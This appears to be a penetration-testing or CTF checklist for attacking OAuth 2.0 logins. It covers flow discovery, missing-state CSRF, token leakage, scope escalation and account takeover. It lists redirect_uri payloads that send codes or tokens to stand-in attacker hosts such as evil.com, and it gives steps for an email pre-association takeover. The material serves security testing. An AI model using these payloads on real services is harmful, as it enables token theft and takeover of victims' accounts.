OAuth 2.0 is the most common third-party authentication protocol in modern web applications. The attack surface is concentrated in the various redirect steps of the authentication flow—redirect_uri validation, the state parameter, and token transmission.
⛔ In-depth reference (required reading)
- Full redirect_uri payloads, token leakage paths, account takeover flow → references/oauth-attack-vectors.md
Phase 1: Identify the OAuth flow
Click "Third-party login" and observe the redirect URL for the client_id, redirect_uri, response_type, scope, state。
Check the endpoints:/.well-known/openid-configuration, /oauth/authorize, /api/auth/providers
Phase 2: redirect_uri hijacking (most common)
Goal: make the code/token be sent to an attacker URL. Quick test:
redirect_uri=https://target.com/callback/../evil
redirect_uri=https://evil.target.com/callback
redirect_uri=https://target.com/callback?next=https://evil.com
redirect_uri=https://evil.com/steal
→ Full payload list → references/oauth-attack-vectors.md
Phase 3: Missing state → CSRF attack
When there is no state parameter: the attacker obtains the code → constructs a callback link → induces the victim to click it → the account is bound to the attacker's third-party account
Phase 4: Token leakage
- Referer leakage: the callback page contains external resources → the token leaks via the Referer header
- Implicit Flow：
response_type=token→ access_token in the URL fragment - Logs: the code is in the URL query and may be recorded
Phase 5: Other attack surfaces
- Scope escalation:
scope=openid profile email admin - client_secret leakage: check JS source code/GitHub/config files
- Account takeover: email match merging → references/oauth-attack-vectors.md
Phase 6: CTF and account takeover
6.1 OAuth in CTFs
- Focuses on redirect_uri bypass, with the flag in the admin token or a high-privilege scope API
6.2 Account takeover — email pre-association attack
- The attacker registers
attacker@target.com(suffix matching exploitation) - Change the email on the third-party platform to the victim's email
- When the victim logs in via OAuth, it is automatically linked to the existing account (email match)
- Key: check whether the target verifies email (bypass email verification)